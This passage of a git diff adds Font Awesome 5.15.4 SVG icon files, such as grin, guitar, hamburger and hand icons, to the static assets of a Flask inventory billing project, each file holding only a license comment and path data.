Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin.svg new file mode 100644 index 00000000..7fe7b926 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-horizontal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-horizontal.svg new file mode 100644 index 00000000..3db99ef2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-horizontal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-lines-vertical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-lines-vertical.svg new file mode 100644 index 00000000..501d5c2f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-lines-vertical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-lines.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-lines.svg new file mode 100644 index 00000000..61a731af --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-lines.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-vertical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-vertical.svg new file mode 100644 index 00000000..1abd2a0b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grip-vertical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/guitar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/guitar.svg new file mode 100644 index 00000000..c9f9a4ca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/guitar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/h-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/h-square.svg new file mode 100644 index 00000000..005021a1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/h-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hamburger.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hamburger.svg new file mode 100644 index 00000000..b771e04e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hamburger.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hammer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hammer.svg new file mode 100644 index 00000000..4a1fbc35 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hammer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hamsa.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hamsa.svg new file mode 100644 index 00000000..9256ae51 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hamsa.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-heart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-heart.svg new file mode 100644 index 00000000..8c8e1038 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-heart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-medical.svg new file mode 100644 index 00000000..b9c5311f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-usd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-usd.svg new file mode 100644 index 00000000..e352b2f0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-usd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-water.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-water.svg new file mode 100644 index 00000000..71b4052a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding-water.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding.svg new file mode 100644 index 00000000..64158120 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-holding.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-lizard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-lizard.svg new file mode 100644 index 00000000..78c7be32 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-lizard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-middle-finger.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-middle-finger.svg new file mode 100644 index 00000000..78794502 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-middle-finger.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-paper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-paper.svg new file mode 100644 index 00000000..1a8854d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-paper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-peace.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-peace.svg new file mode 100644 index 00000000..76f421f7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-peace.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-down.svg new file mode 100644 index 00000000..eae20820 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-left.svg new file mode 100644 index 00000000..6711980e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/hand-point-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 